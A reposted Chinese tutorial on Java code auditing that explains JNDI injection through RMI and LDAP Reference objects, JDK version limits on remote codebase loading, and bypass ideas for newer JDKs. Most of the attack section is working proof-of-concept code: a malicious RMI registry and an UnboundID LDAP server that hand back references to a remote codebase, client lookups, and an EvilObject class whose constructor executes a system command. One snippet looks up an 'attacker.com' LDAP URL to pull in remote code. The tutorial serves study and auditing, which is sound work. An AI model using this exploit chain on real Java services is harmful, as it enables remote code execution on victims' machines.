转载

Java代码审计学习之JNDI注入

前言

  • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。

RMI 中动态加载字节代码

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Reference 中几个比较关键的属性:

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的 class 中需要实例化类的名称
  3. classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议

例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。

动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

JNDI注入原理

JNDI 支持很多服务类型,当服务类型为 RMI 协议时,如果从 RMI 注册服务中 lookup 的对象类型为 Reference 类型或者其子类时,会导致远程代码执行, Reference 类提供了两个比较重要的属性, className 以及 codebase url , classname 为远程调用引用的类名,那么 codebase url 决定了在进行 rmi 远程调用时对象的位置,此外 codebase url 支持http协议,当远程调用类(通过 lookup 来寻找)在 RMI 服务器中的 CLASSPATH 中不存在时,就会从指定的 codebase url 来进行类的加载,如果两者都没有,远程调用就会失败。

JNDI RCE 漏洞产生的原因就在于当我们在注册 RMI 服务时,可以指定 codebase url ,也就是远程要加载类的位置,设置该属性可以让 JNDI 应用程序在加载时加载我们指定的类( 例如: http://www.iswin.org/xx.class ) ,当 JNDI 应用程序通过 lookup (RMI服务的地址)调用指定 codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。

RMI + JNDI Reference Payload

RMIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(8080);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

RMIClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("rmi://localhost:8080/refObj");
            String data = "This is RMI Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

EvilObject.java

import java.lang.Runtime;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

jdk版本 8u101
Java代码审计学习之JNDI注入 在 JDK 6u132 , JDK 7u122 , JDK 8u113 中Java提升了JNDI 限制了 Naming/Directory 服务中 JNDI Reference 远程加载 Object Factory 类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为 false ,即默认不允许从远程的 Codebase 加载 Reference 工厂类。

LDAP + JNDI Reference Payload

除了 RMI 服务之外, JNDI 还可以对接 LDAP 服务, LDAP 也能返回 JNDI Reference 对象,利用过程与上面 RMI Reference 基本一致,只是 lookup() 中的URL为一个LDAP地址: ldap://xxx/xxx ,由攻击者控制的 LDAP 服务端返回一个恶意的 JNDI Reference 对象。

且 LDAP服务的 Reference 远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false`。

LdapServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LdapClient

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

Java代码审计学习之JNDI注入

绕过JDK 8u191+等高版本限制

所以对于 Oracle JDK 11.0.1、8u191、7u201、6u211 或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类,并利用这个本地的 Factory 类执行命令。
  2. 利用 LDAP 直接返回一个恶意的序列化对象, JNDI 注入依然会对该对象进行反序列化操作,利用反序列化 Gadget 完成命令执行。

这两种方式都非常依赖受害者本地 CLASSPATH 中环境,需要利用受害者本地的 Gadget 进行攻击。

Referer

原文  https://www.smi1e.top/java代码审计学习之jndi注入/
正文到此结束
Loading...